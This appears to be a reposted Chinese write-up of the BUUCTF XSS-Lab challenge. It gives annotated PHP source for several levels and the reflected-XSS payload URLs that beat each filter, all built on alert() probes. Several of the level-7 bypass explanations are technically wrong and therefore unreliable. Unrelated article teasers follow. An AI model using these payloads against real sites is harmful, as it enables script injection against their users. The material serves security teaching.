3.【BUUCTF】XSS-Lab1

进入题目页面如下

好好好,提示点击图片,点进去页面如下,且url中有传参,有注入点

发现题目给出了源码

查看得到本题的源码

分析一下代码

<!DOCTYPE html><!--STATUS OK-->
<!-- 声明文档类型为 HTML5,告知浏览器按照 HTML5 标准解析页面 -->
<html>
<head><!-- 设置页面字符编码为 UTF-8,确保能正确显示各种语言字符 --><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>// 重写 window.alert 函数window.alert = function() {// 弹出确认框,显示消息“完成的不错!”confirm("完成的不错!");// 将浏览器当前页面重定向到 level2.php 页面,并传递 keyword 参数,值为 testwindow.location.href="level2.php?keyword=test"; }</script><!-- 设置页面标题,显示在浏览器标签栏 --><title>欢迎来到level1</title>
</head>
<body><!-- 定义一级标题,内容居中显示(注:align 属性不推荐使用,建议用 CSS 替代) --><h1 align="center">欢迎来到level1</h1><?php // 设置 PHP 不显示错误信息,避免暴露敏感错误细节ini_set("display_errors", 0);// 从 URL 的 GET 参数中获取名为 name 的值,并赋值给变量 $str$str = $_GET["name"];// 输出二级标题,显示欢迎用户信息,标题内容包含从 GET 参数获取的 name 值,内容居中显示echo "<h2 align=\"center\">欢迎用户".$str."</h2>";?><center><img src="level1.png"></center><?php // 输出三级标题,显示从 GET 参数获取的 name 值的长度,内容居中显示echo "<h3 align=\"center\">payload的长度:".strlen($str)."</h3>";?>
</body>
</html>

这段代码存在反射型 XSS 漏洞,原因在于直接将用户通过 GET 请求传入的 name 参数值 $str 输出到 HTML 页面中,且未对该参数进行任何的过滤和转义处理。

可以构造包含恶意脚本的 URL,

http://1a8841d3-460e-4819-b0fa-52b329c644de.node5.buuoj.cn:81/level1.php?name=<script>alert('XSS攻击')</script>

当用户访问这个 URL 时,服务器会将恶意脚本作为响应的一部分返回给浏览器,浏览器会执行该脚本,从而导致 XSS 攻击。

进入第二关?level2,

居然不能直接得到flag         qyq

在GitHub继续查看源码,并分析

<!DOCTYPE html><!--STATUS OK-->
<!-- 声明文档类型为 HTML5,告诉浏览器按照 HTML5 规范来解析此页面 -->
<html>
<head><!-- 设置页面的字符编码为 UTF-8,确保页面能正确显示各种语言字符 --><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>// 重写了浏览器原生的 alert 函数window.alert = function() {// 弹出一个确认框,显示提示信息“完成的不错!”confirm("完成的不错!");// 页面跳转到 level3.php 页面,并传递一个名为 writing 的参数,值为 waitwindow.location.href = "level3.php?writing=wait"; }</script><!-- 设置浏览器标签栏显示的页面标题 --><title>欢迎来到level2</title>
</head>
<body><!-- 定义一级标题,将标题内容居中显示(不过 align 属性已不推荐使用,建议用 CSS 替代) --><h1 align="center">欢迎来到level2</h1><?php // 禁止 PHP 显示错误信息,防止错误信息泄露敏感内容ini_set("display_errors", 0);// 从 URL 的 GET 参数中获取名为 keyword 的值,并赋值给变量 $str$str = $_GET["keyword"];// 输出一个二级标题,标题内容显示没有找到和用户输入的 keyword 相关的结果// htmlspecialchars 函数对 $str 进行了 HTML 实体编码,防止部分 XSS 攻击echo "<h2 align=\"center\">没有找到和".htmlspecialchars($str)."相关的结果.</h2>";// 输出一个表单,表单提交方式为 GET,提交地址为当前的 level2.php 页面echo '<center>
<form action="level2.php" method="GET"><!-- 文本输入框,用于输入搜索关键词,初始值为用户之前输入的 keyword --><input name="keyword"  value="'.$str.'"><!-- 提交按钮,点击后会将表单数据以 GET 方式提交 --><input type="submit" name="submit" value="搜索"/>
</form>
</center>';?><!-- 显示一张图片,图片文件名为 level2.png,并将图片居中显示(<center> 标签已不推荐使用) --><center><img src="level2.png"></center><?php // 输出一个三级标题,显示用户输入的 keyword 的长度,并将标题内容居中显示echo "<h3 align=\"center\">payload的长度:".strlen($str)."</h3>";?>
</body>
</html>

虽然代码中对 $str 在显示搜索结果时使用 htmlspecialchars 函数进行了 HTML 实体编码,一定程度上防止了部分 XSS 攻击,但在表单输入框的 value 属性中直接使用了未经过充分过滤和转义的 $str,造成xss攻击

可以构造包含特殊字符的恶意 keyword 参数,

/level2.php?keyword="><script>alert('XSS攻击')</script><"

当用户访问这个恶意 URL 时,在生成的 HTML 代码中,输入框的 value 属性就会变成:

<input name="keyword"  value=""><script>alert('XSS攻击')</script><">

浏览器在解析这段 HTML 代码时,会将其中的 <script> 标签内的代码当作 JavaScript 代码执行,从而触发 XSS 攻击,弹出提示框显示 “XSS 攻击”。

进入第三关level3

在GitHub继续查看源码,并分析

<!DOCTYPE html><!--STATUS OK-->
<!-- 声明文档类型为 HTML5,告知浏览器按照 HTML5 标准解析此页面 -->
<html>
<head><!-- 设置页面的字符编码为 UTF-8,确保页面能正确显示各种语言的字符 --><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>// 重写了浏览器原生的 alert 函数window.alert = function() {// 弹出一个确认框,显示消息“完成的不错!”confirm("完成的不错!");// 将浏览器的当前页面重定向到 level4.php 页面,并传递 keyword 参数,值为 try harder!window.location.href = "level4.php?keyword=try harder!"; }</script><!-- 设置页面在浏览器标签栏显示的标题 --><title>欢迎来到level3</title>
</head>
<body><!-- 定义一级标题,将标题内容居中显示(align 属性不推荐使用,建议用 CSS 实现) --><h1 align="center">欢迎来到level3</h1><?php // 设置 PHP 不显示错误信息,防止敏感错误信息泄露ini_set("display_errors", 0);// 从 URL 的 GET 参数中获取名为 keyword 的值,并赋值给变量 $str$str = $_GET["keyword"];// 输出二级标题,显示没有找到和用户输入的 keyword 相关的结果// 使用 htmlspecialchars 函数对 $str 进行 HTML 实体编码,防止部分 XSS 攻击echo "<h2 align=\"center\">没有找到和".htmlspecialchars($str)."相关的结果.</h2>";// 输出一个表单,表单提交方式为 GET,提交地址为当前的 level3.php 页面echo "<center>
<form action=\"level3.php\" method=\"GET\"><!-- 文本输入框,用于输入搜索关键词,初始值为用户之前输入的 keyword 并进行了 HTML 实体编码 --><input name=\"keyword\"  value='".htmlspecialchars($str)."'><!-- 提交按钮,点击后以 GET 方式提交表单数据 --><input type=\"submit\" name=\"submit\" value=\"搜索\" />
</form>
</center>";?><!-- 显示一张图片,图片文件名为 level3.png,并将图片居中显示(<center> 标签已被弃用) --><center><img src="level3.png"></center><?php // 输出三级标题,显示用户输入的 keyword 的长度,并将标题内容居中显示echo "<h3 align=\"center\">payload的长度:".strlen($str)."</h3>";?>
</body>
</html>
1. htmlspecialchars 参数使用问题

htmlspecialchars 函数默认情况下只会对少数几个特殊字符(如 <>& 等)进行编码,如果利用未被编码的特殊字符,还是有可能构造出恶意脚本。例如,如果传入包含 onerror 等事件属性的恶意输入,在某些浏览器环境下可能会触发 XSS 攻击。

可以构造如下恶意的 keyword 参数:

/level3.php?keyword=' onclick='alert(1)

虽然 htmlspecialchars 会对部分字符进行编码,但如果没有正确设置其参数(如未指定 ENT_QUOTES 来同时编码单引号和双引号),可能无法完全阻止恶意脚本的执行。

2. 上下文处理不当

即使进行了 HTML 实体编码,在不同的 HTML 上下文环境中,编码后的内容可能会被错误解析。例如,在 JavaScript 代码块或者 CSS 样式属性中,如果直接使用经过 htmlspecialchars 编码的内容,可能会导致编码失效,从而引发 XSS 漏洞。

3. 绕过机制

可能会利用浏览器的特性或者 HTML 规范的一些边缘情况来绕过 htmlspecialchars 的防护。例如,利用 HTML 注释、字符编码转换等方式来隐藏恶意脚本,当浏览器解析页面时,这些隐藏的脚本可能会被执行。

注意这里需要点击一下输入框

进入下一关level4

<!DOCTYPE html><!--STATUS OK-->
<!-- 声明文档类型为 HTML5,告知浏览器按照 HTML5 标准解析此页面 -->
<html>
<head><!-- 设置页面的字符编码为 UTF-8,确保页面能正确显示各种语言的字符 --><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>// 重写浏览器原生的 alert 函数window.alert = function() {// 弹出一个确认框,显示消息“完成的不错!”confirm("完成的不错!");// 将浏览器的当前页面重定向到 level5.php 页面,并传递 keyword 参数,值为 find a way out!window.location.href = "level5.php?keyword=find a way out!"; }</script><!-- 设置页面在浏览器标签栏显示的标题 --><title>欢迎来到level4</title>
</head>
<body><!-- 定义一级标题,将标题内容居中显示(align 属性不推荐使用,建议用 CSS 实现) --><h1 align="center">欢迎来到level4</h1><?php // 设置 PHP 不显示错误信息,防止敏感错误信息泄露ini_set("display_errors", 0);// 从 URL 的 GET 参数中获取名为 keyword 的值,并赋值给变量 $str$str = $_GET["keyword"];// 把 $str 中的大于号(>)替换为空字符串,结果存储在 $str2 中$str2 = str_replace(">", "", $str);// 把 $str2 中的小于号(<)替换为空字符串,结果存储在 $str3 中$str3 = str_replace("<", "", $str2);// 输出二级标题,显示没有找到和用户输入的 keyword 相关的结果// 使用 htmlspecialchars 函数对 $str 进行 HTML 实体编码,防止部分 XSS 攻击echo "<h2 align=\"center\">没有找到和".htmlspecialchars($str)."相关的结果.</h2>";// 输出一个表单,表单提交方式为 GET,提交地址为当前的 level4.php 页面echo '<center>
<form action="level4.php" method="GET"><!-- 文本输入框,用于输入搜索关键词,初始值为处理后的 $str3 --><input name="keyword"  value="'.$str3.'"><!-- 提交按钮,点击后以 GET 方式提交表单数据 --><input type="submit" name="submit" value="搜索" />
</form>
</center>';?><!-- 显示一张图片,图片文件名为 level4.png,并将图片居中显示(<center> 标签已被弃用) --><center><img src="level4.png"></center><?php // 输出三级标题,显示处理后 $str3 的长度,并将标题内容居中显示echo "<h3 align=\"center\">payload的长度:".strlen($str3)."</h3>";?>
</body>
</html>
1. 过滤不彻底

代码仅简单地将输入中的小于号(<)和大于号(>)替换为空字符串,然而 XSS 攻击的方式多样,攻击者可以利用其他字符或 HTML 属性来构造恶意脚本。例如,攻击者可以使用单引号(')、双引号(")来破坏 HTML 标签的属性值,进而注入恶意脚本。

可以构造如下恶意的 keyword 参数:

/level4.php?keyword=" onfocus=alert('XSS') autofocus="

经过 str_replace 处理后,由于没有过滤引号等字符,在生成的 HTML 代码中,输入框的 value 属性会变成:

<input name="keyword"  value=" onfocus=alert('XSS') autofocus=">

当输入框获得焦点时,就会触发 alert('XSS') 脚本,从而实现 XSS 攻击。

成功进入第五关level5

<!DOCTYPE html><!--STATUS OK-->
<!-- 声明文档类型为 HTML5,告知浏览器按照 HTML5 标准解析页面 -->
<html>
<head><!-- 设置页面的字符编码为 UTF-8,确保页面能正确显示各种语言的字符 --><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>// 重写浏览器原生的 alert 函数window.alert = function() {// 弹出确认框,显示提示信息“完成的不错!”confirm("完成的不错!");// 将页面重定向到 level6.php 并传递 keyword 参数,值为 break it out!window.location.href = "level6.php?keyword=break it out!";}</script><!-- 设置浏览器标签栏显示的页面标题 --><title>欢迎来到level5</title>
</head>
<body><!-- 定义一级标题,内容居中显示(align 属性不推荐使用,建议用 CSS 替代) --><h1 align="center">欢迎来到level5</h1><?php// 禁止 PHP 显示错误信息,防止敏感信息泄露ini_set("display_errors", 0);// 从 URL 的 GET 参数中获取 keyword 的值,并将其转换为小写,存储在 $str 中$str = strtolower($_GET["keyword"]);// 将 $str 中的 <script 替换为 <scr_ipt,存储在 $str2 中,尝试阻止 <script> 标签的使用$str2 = str_replace("<script", "<scr_ipt", $str);// 将 $str2 中的 on 替换为 o_n,存储在 $str3 中,尝试阻止 HTML 事件属性(如 onclick、onload 等)的使用$str3 = str_replace("on", "o_n", $str2);// 输出二级标题,显示没有找到和用户输入的 keyword 相关的结果// 使用 htmlspecialchars 对 $str 进行 HTML 实体编码,防止部分 XSS 攻击echo "<h2 align=\"center\">没有找到和".htmlspecialchars($str)."相关的结果.</h2>";// 输出一个表单,提交方式为 GET,提交地址为当前的 level5.php 页面echo '<center>
<form action="level5.php" method="GET"><!-- 文本输入框,用于输入搜索关键词,初始值为处理后的 $str3 --><input name="keyword"  value="'.$str3.'"><!-- 提交按钮,点击后提交表单 --><input type="submit" name="submit" value="搜索" />
</form>
</center>';?><!-- 显示一张图片,图片文件名为 level5.png,并将图片居中显示(<center> 标签已被弃用) --><center><img src="level5.png"></center><?php// 输出三级标题,显示处理后 $str3 的长度,并将标题内容居中显示echo "<h3 align=\"center\">payload的长度:".strlen($str3)."</h3>";?>
</body>
</html>
1. 过滤不全面

绕过替换规则:虽然代码尝试替换 <script 和 on,但攻击者可以采用其他方式构造恶意脚本。例如,攻击者可以使用大写字母、HTML 实体编码或者其他字符组合来绕过这种简单的替换。如输入 <SCRIPT>,由于代码先将输入转换为小写,所以可以绕过对 <script 的替换;对于 on 的替换,可以使用 ON 或者 oN 等不同大小写组合。

其他危险标签和属性:除了 <script> 标签和 on 开头的事件属性外,还有很多其他方式可以执行 JavaScript 代码。例如,<img> 标签的 src 属性可以使用 javascript: 伪协议,<a> 标签的 href 属性也可以使用该伪协议来执行脚本。代码没有对这些情况进行处理。

2. 输出上下文处理不一致

在显示搜索结果时使用 htmlspecialchars 对 $str 进行了 HTML 实体编码,而表单输入框的 value 属性使用的是经过 str_replace 处理后的 $str3。这种处理方式的不一致可能导致安全漏洞。如果输入的内容经过 str_replace 处理后仍然可以在输入框的 value 属性上下文中执行脚本,就会引发 XSS 攻击。

payload:

/level5.php?keyword="><a href=javascript:alert(1)>

点击">成功进入下一个

level6

<!DOCTYPE html><!--STATUS OK-->
<!-- 声明文档类型为 HTML5,告知浏览器按照 HTML5 标准解析此页面 -->
<html>
<head><!-- 设置页面的字符编码为 UTF-8,确保页面能正确显示各种语言的字符 --><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>// 重写浏览器的原生 alert 函数window.alert = function() {// 弹出一个确认框,显示消息“完成的不错!”confirm("完成的不错!");// 将浏览器的当前页面重定向到 level7.php 页面,并传递 keyword 参数,值为 move up!window.location.href = "level7.php?keyword=move up!";}</script><!-- 设置页面在浏览器标签栏显示的标题 --><title>欢迎来到level6</title>
</head>
<body><!-- 定义一级标题,将标题内容居中显示(align 属性不推荐使用,建议用 CSS 实现) --><h1 align="center">欢迎来到level6</h1><?php// 设置 PHP 不显示错误信息,防止敏感错误信息泄露ini_set("display_errors", 0);// 从 URL 的 GET 参数中获取名为 keyword 的值,并赋值给变量 $str$str = $_GET["keyword"];// 把 $str 中的 <script 替换为 <scr_ipt,存储在 $str2 中,尝试阻止 <script> 标签注入$str2 = str_replace("<script", "<scr_ipt", $str);// 把 $str2 中的 on 替换为 o_n,存储在 $str3 中,尝试阻止 HTML 事件属性注入$str3 = str_replace("on", "o_n", $str2);// 把 $str3 中的 src 替换为 sr_c,存储在 $str4 中,尝试阻止通过 src 属性注入恶意资源$str4 = str_replace("src", "sr_c", $str3);// 把 $str4 中的 data 替换为 da_ta,存储在 $str5 中,data 属性常用于嵌入资源,防止其被恶意利用$str5 = str_replace("data", "da_ta", $str4);// 把 $str5 中的 href 替换为 hr_ef,存储在 $str6 中,防止通过 href 属性注入恶意链接$str6 = str_replace("href", "hr_ef", $str5);// 输出二级标题,显示没有找到和用户输入的 keyword 相关的结果// 使用 htmlspecialchars 函数对 $str 进行 HTML 实体编码,防止部分 XSS 攻击echo "<h2 align=\"center\">没有找到和".htmlspecialchars($str)."相关的结果.</h2>";// 输出一个表单,表单提交方式为 GET,提交地址为当前的 level6.php 页面echo '<center>
<form action="level6.php" method="GET"><!-- 文本输入框,用于输入搜索关键词,初始值为处理后的 $str6 --><input name="keyword"  value="'.$str6.'"><!-- 提交按钮,点击后以 GET 方式提交表单数据 --><input type="submit" name="submit" value="搜索" />
</form>
</center>';?><!-- 显示一张图片,图片文件名为 level6.png,并将图片居中显示(<center> 标签已被弃用) --><center><img src="level6.png"></center><?php// 输出三级标题,显示处理后 $str6 的长度,并将标题内容居中显示echo "<h3 align=\"center\">payload的长度:".strlen($str6)."</h3>";?>
</body>
</html>
代码采用的是黑名单过滤机制,即通过替换一系列被认为危险的字符串来防止 XSS 攻击。然而,黑名单无法覆盖所有可能的攻击向量,可以利用未被列入黑名单的字符组合或方法来构造恶意脚本。

大小写绕过:代码只是简单地替换特定的小写字符串,攻击者可以使用大写、大小写混合的方式绕过过滤。例如,使用 <SCRIPT>ONCLICK 等。

HTML 实体编码绕过:攻击者可以使用 HTML 实体编码来表示危险字符,如 &lt;script&gt; ,代码没有对 HTML 实体进行处理,会导致过滤失效。

字符拼接和变形:攻击者可以通过插入无关字符或对危险字符串进行变形来绕过过滤。比如,在 src 中间插入空格或其他字符,像 s r c 。

在显示搜索结果时使用 htmlspecialchars 对 $str 进行编码,而在表单输入框的 value 属性中使用经过多次替换处理后的 $str6。这种不同的处理方式可能导致安全漏洞,因为 str_replace 处理可能无法应对复杂的攻击场景,而 htmlspecialchars 的编码范围可能和 str_replace 处理不匹配。

除了代码中替换的 <script>onsrcdatahref 之外,HTML 中还有许多其他属性和标签可以被用于 XSS 攻击,如 style 属性可以通过 expression() (IE 浏览器)或 javascript: 伪协议执行脚本,object 标签也可以加载恶意资源等。代码没有对这些情况进行处理。

payload:

/level6.php?keyword="><a HrEf=javascript:alert(1)>

进入下一关

level7

<!DOCTYPE html><!--STATUS OK-->
<!-- 声明文档类型为 HTML5,告知浏览器按照 HTML5 标准解析此页面 -->
<html>
<head><!-- 设置页面的字符编码为 UTF-8,确保页面能正确显示各种语言的字符 --><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>// 重写浏览器原生的 alert 函数window.alert = function() {// 弹出一个确认框,显示消息“完成的不错!”confirm("完成的不错!");// 将浏览器的当前页面重定向到 level8.php 页面,并传递 keyword 参数,值为 nice try!window.location.href = "level8.php?keyword=nice try!";}</script><!-- 设置页面在浏览器标签栏显示的标题 --><title>欢迎来到level7</title>
</head>
<body><!-- 定义一级标题,将标题内容居中显示(align 属性不推荐使用,建议用 CSS 实现) --><h1 align="center">欢迎来到level7</h1><?php// 设置 PHP 不显示错误信息,防止敏感错误信息泄露ini_set("display_errors", 0);// 从 URL 的 GET 参数中获取名为 keyword 的值,并将其转换为小写,赋值给变量 $str$str = strtolower($_GET["keyword"]);// 把 $str 中的 "script" 替换为空字符串,存储在 $str2 中,尝试阻止 <script> 标签注入$str2 = str_replace("script", "", $str);// 把 $str2 中的 "on" 替换为空字符串,存储在 $str3 中,尝试阻止 HTML 事件属性注入$str3 = str_replace("on", "", $str2);// 把 $str3 中的 "src" 替换为空字符串,存储在 $str4 中,尝试阻止通过 src 属性注入恶意资源$str4 = str_replace("src", "", $str3);// 把 $str4 中的 "data" 替换为空字符串,存储在 $str5 中,防止 data 属性被恶意利用$str5 = str_replace("data", "", $str4);// 把 $str5 中的 "href" 替换为空字符串,存储在 $str6 中,防止通过 href 属性注入恶意链接$str6 = str_replace("href", "", $str5);// 输出二级标题,显示没有找到和用户输入的 keyword 相关的结果// 使用 htmlspecialchars 函数对 $str 进行 HTML 实体编码,防止部分 XSS 攻击echo "<h2 align=\"center\">没有找到和".htmlspecialchars($str)."相关的结果.</h2>";// 输出一个表单,表单提交方式为 GET,提交地址为当前的 level7.php 页面echo '<center>
<form action="level7.php" method="GET"><!-- 文本输入框,用于输入搜索关键词,初始值为处理后的 $str6 --><input name="keyword"  value="'.$str6.'"><!-- 提交按钮,点击后以 GET 方式提交表单数据 --><input type="submit" name="submit" value="搜索" />
</form>
</center>';?><!-- 显示一张图片,图片文件名为 level7.png,并将图片居中显示(<center> 标签已被弃用) --><center><img src="level7.png"></center><?php// 输出三级标题,显示处理后 $str6 的长度,并将标题内容居中显示echo "<h3 align=\"center\">payload的长度:".strlen($str6)."</h3>";?>
</body>
</html>
大小写绕过:代码先将输入转换为小写再进行替换,攻击者可以使用大写或大小写混合的方式绕过过滤。例如,使用 <SCRIPT> 或 <ScRiPt> 等。

HTML 实体编码绕过:攻击者可以使用 HTML 实体编码来表示危险字符或字符串,如 &lt;script&gt; 不会被当作 script 进行替换。

字符拼接和变形:攻击者可以通过插入无关字符或对危险字符串进行变形来绕过过滤。比如,在 script 中间插入空格或其他字符,像 s c r i p t 。

未覆盖所有危险属性和标签:除了代码中替换的 scriptonsrcdatahref 之外,HTML 中还有许多其他属性和标签可以被用于 XSS 攻击,如 style 属性可以通过 expression()(IE 浏览器)或 javascript: 伪协议执行脚本,object 标签也可以加载恶意资源等。

构造的 Payload

1. 利用大小写绕过
/level7.php?keyword="><scrscriptipt>alert(1)</scrscriptipt>

由于代码将输入转换为小写后才进行替换,所以大写的 <SCRIPT> 不会被替换,可能会触发 XSS 攻击。

2. 利用 HTML 实体编码绕过
/level7.php?keyword=&lt;script&gt;alert('XSS')&lt;/script&gt;

&lt; 和 &gt; 分别是 < 和 > 的 HTML 实体编码,&lt;script&gt; 不会被当作 script 进行替换,当浏览器解析页面时会将实体编码转换回对应的字符,从而执行恶意脚本。

3. 利用字符拼接绕过
/level7.php?keyword=<s c r i p t>alert('XSS')</s c r i p t>

在 script 中间插入空格,使得代码的替换操作无法生效,进而可能触发 XSS 攻击。

4. 利用未过滤的属性
/level7.php?keyword=<img style="background-image:url(javascript:alert('XSS'))">

代码没有对 style 属性进行过滤,攻击者可以通过 style 属性中的 javascript: 伪协议执行脚本,从而实现 XSS 攻击。

进入第八关qyq什么时候才能做完这道题

居然有友情链接,高低点进去看看

20try?这里查看了源码最多达到level20,qyq

难道真的要一道一道做?重新观察了一下url,难道数字可以改?直接跳转到20关?

快来试试

可以的,虽然没有加载出图片但是可以直接做20题

查看源码

<!DOCTYPE html><!--STATUS OK-->
<!-- 声明文档类型为 HTML5,告知浏览器按照 HTML5 标准解析该页面 -->
<html>
<head><!-- 设置页面的字符编码为 UTF - 8,确保页面能正确显示各种语言字符 --><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>// 重写浏览器的 alert 函数window.alert = function() {// 弹出确认框,显示提示信息“完成的不错!”confirm("完成的不错!");// 页面重定向到 level21.php ,并传递两个参数 arg01 和 arg02window.location.href = "level21.php?arg01=a&arg02=b";}</script><!-- 设置浏览器标签栏显示的页面标题 --><title>欢迎来到level20</title>
</head>
<body><!-- 定义一级标题,将标题内容居中显示(注:align 属性已不推荐使用,建议用 CSS 替代) --><h1 align="center">欢迎来到level20</h1><?php// 禁止 PHP 显示错误信息,防止敏感信息泄露ini_set("display_errors", 0);// 输出一个 embed 标签用于嵌入 Flash 文件(xsf04.swf)// 从 URL 的 GET 参数中获取 arg01 和 arg02 的值// 使用 htmlspecialchars 函数对 arg01 和 arg02 的值进行 HTML 实体编码,防止部分 XSS 攻击// 将编码后的值拼接成 Flash 文件的参数,格式为 arg01=arg02echo '<embed src="xsf04.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';?>
</body>
</html>
Flash 文件的安全风险

Flash 自身漏洞:Flash 文件(xsf04.swf)可能存在安全漏洞。如果该 Flash 文件在处理传入的参数(arg01 和 arg02)时没有进行严格的输入验证和过滤,攻击者可以通过构造恶意参数来触发 Flash 文件内部的漏洞,从而执行恶意脚本。

跨站脚本交互:即使对传入的参数进行了 HTML 实体编码,但 Flash 文件可能会将这些编码后的参数解码并使用。如果 Flash 文件在解码后没有再次进行安全检查,攻击者就可以通过构造特殊的参数来实现跨站脚本攻击。

参数拼接和 URL 构造问题

URL 解析差异:虽然对 arg01 和 arg02 进行了 HTML 实体编码,但在将它们拼接到 Flash 文件的 URL 中时,可能会因为不同浏览器或 Flash 播放器对 URL 的解析方式不同而导致编码失效。例如,某些浏览器可能会在特定情况下对 URL 进行解码,使得恶意脚本有机会被执行。

参数注入:攻击者可以通过构造特殊的参数值,利用 URL 中的参数分隔符(如 &? 等)来注入额外的参数或修改原有的参数,从而改变 Flash 文件的行为。

用burp suite抓包,终于得到了flag,qyq

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/70310.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

react关于手搓antd pro面包屑的经验(写的不好请见谅)

我们先上代码&#xff0c;代码里面都有注释&#xff0c;我是单独写了一个组件&#xff0c;方便使用&#xff0c;在其他页面引入就行了 还使用了官方的Breadcrumb组件 import React, { useEffect, useState } from react; import { Breadcrumb, Button } from antd; import { …

高端入门:Ollama 本地高效部署DeepSeek模型深度搜索解决方案

目录 一、Ollama 介绍 二、Ollama下载 2.1 官网下载 2.2 GitHub下载 三、模型库 四、Ollmal 使用 4.1 模型运行&#xff08;下载&#xff09; 4.2 模型提问 五、Ollama 常用命令 相关推荐 一、Ollama 介绍 Ollama是一个专为在本地机器上便捷部署和运行大型语言模型&…

Windows Docker笔记-Docker容器操作

在文章《Windows Docker笔记-Docker拉取镜像》中&#xff0c;已经拉取成功了ubuntu镜像&#xff0c;本章来讲解如何通过镜像来创建容器并运行容器。 这里再类比一下&#xff0c;加深理解&#xff0c;比如&#xff0c;我们现在想开一个玩具厂&#xff0c;我们的最终目的肯定是想…

Java语法糖详解

前言 在现代编程语言的发展历程中&#xff0c;语法糖&#xff08;Syntactic Sugar&#xff09;作为一种提升代码可读性和开发效率的重要特性&#xff0c;已经成为语言设计的重要组成部分。Java作为一门成熟且广泛应用的编程语言&#xff0c;在其长期演进过程中&#xff0c;语法…

机器学习中的关键概念:通过SKlearn的MNIST实验深入理解

欢迎来到我的主页&#xff1a;【Echo-Nie】 本篇文章收录于专栏【机器学习】 1 sklearn相关介绍 Scikit-learn 是一个广泛使用的开源机器学习库&#xff0c;提供了简单而高效的数据挖掘和数据分析工具。它建立在 NumPy、SciPy 和 matplotlib 等科学计算库之上&#xff0c;支持…

Java数据结构与算法之“树”

目录 一、什么是树 ​编辑 二、树的相关组成 1. 常用名词 2.需要了解的名词 三、树的分类 &#xff08;一&#xff09;初级树 1.普通树 2.二叉树 &#xff08;二&#xff09;中级树 1.哈夫曼树HuffmanTree 2.二叉搜索树BST 3.平衡二叉树AVL &#xff08;三&#x…

【Linux】27.Linux 多线程(1)

文章目录 1. Linux线程概念1.1 线程和进程1.2 虚拟地址是如何转换到物理地址的1.3 线程的优点1.4 线程的缺点1.5 线程异常1.6 线程用途 2. Linux进程VS线程2.1 进程和线程2.2 关于进程线程的问题 3. Linux线程控制3.1 POSIX线程库3.2 创建线程3.3 线程终止3.4 线程等待3.5 分离…

SpringAI系列 - 使用LangGPT编写高质量的Prompt

目录 一、LangGPT —— 人人都可编写高质量 Prompt二、快速上手2.1 诗人 三、Role 模板3.1 Role 模板3.2 Role 模板使用步骤3.3 更多例子 四、高级用法4.1 变量4.2 命令4.3 Reminder4.4 条件语句4.5 Json or Yaml 方便程序开发 一、LangGPT —— 人人都可编写高质量 Prompt La…

2025.2.6

一、C思维导图&#xff1a; 二、C&#xff1a; 三、注释代码 1> 配置文件&#xff1a;.pro文件 QT core gui # 引入的类库&#xff0c;core表示核心库 gui图形化界面库greaterThan(QT_MAJOR_VERSION, 4): QT widgets # 超过版本4的qt&#xff0c;会自动加widgets…

【算法应用】Alpha进化算法求解二维栅格路径规划问题

目录 1.算法原理2.二维路径规划数学模型3.结果展示4.参考文献5.代码获取 1.算法原理 Alpha进化&#xff1a;一种具有进化路径自适应和矩阵生成的高效进化算法 2.二维路径规划数学模型 栅格法模型最早由 W.E. Howden 于 1968 年提出&#xff0c;障碍物的栅格用黑色表示&#…

ubuntu20.04+RTX4060Ti大模型环境安装

装显卡驱动 这里是重点&#xff0c;因为我是跑深度学习的&#xff0c;要用CUDA&#xff0c;所以必须得装官方的驱动&#xff0c;Ubuntu的附件驱动可能不太行. 进入官网https://www.nvidia.cn/geforce/drivers/&#xff0c;选择类型&#xff0c;最新版本下载。 挨个运行&#…

Spring Boot 2 快速教程:WebFlux优缺点及性能分析(四)

WebFlux优缺点 【来源DeepSeek】 Spring WebFlux 是 Spring 框架提供的响应式编程模型&#xff0c;旨在支持非阻塞、异步和高并发的应用场景。其优缺点如下&#xff1a; 优点 高并发与低资源消耗 非阻塞 I/O&#xff1a;基于事件循环模型&#xff08;如 Netty&#xff09;&am…

DeepSeek 硅基流动

DeepSeek 硅基流动 &#x1f381; 四大神仙优势&#x1f31f; 三步拥有官网同款671B大模型1️⃣ 戳这里&#x1f449; 国内直连通道2️⃣ 复制API密钥3️⃣ 安装Chatbox贴进软件秒变AI大佬 &#x1f4c1; 网盘地址&#xff1a;&#xff08;所用到的软件可以直接下载&#xff09…

mysql 学习10 多表查询 -多表关系,多表查询

多表关系 一对多 多对多 创建学生表 #多对多表 学生选课系统create table student(id int primary key auto_increment comment 主键ID,name varchar(64) comment 姓名,studentnumber varchar(10) comment 学号 )comment 学生表;insert into student(id,name,studentnumber)va…

云端IDE如何重定义开发体验

豆包 MarsCode 是一个集成了AI功能的编程助手和云端IDE&#xff0c;旨在提高开发效率和质量。它支持多种编程语言和IDE&#xff0c;提供智能代码补全、代码解释、单元测试生成和问题修复等功能&#xff0c;同时具备AI对话视图和开发工具。 豆包 MarsCode 豆包 MarsCode 编程助…

redis之RDB持久化过程

redis的rdb持久化过程 流程图就想表达两点&#xff1a; 1.主进程会fork一个子进程&#xff0c;子进程共享主进程内存数据(fork其实是复制页表)&#xff0c;子进程读取数据并写到新的rdb文件&#xff0c;最后替换旧的rdb文件。 2.在持久化过程中主进程接收到用户写操作&#x…

15.PPT:文静-云计算行业发展【29】

目录 NO123​ NO345​ NO6​ NO78 NO9/10/11/12​ NO123 设计→幻灯片大小→自定义幻灯片大小→ 全屏显示&#xff08;16&#xff1a;9&#xff09;→最大化 NO345 SmartArt 主题颜色2/6/9&#xff1a;形状样式&#xff1a;样式 加大行距加宽间距 NO6 NO78 设计→设置背景…

deepseek本地部署,使用python交互运行

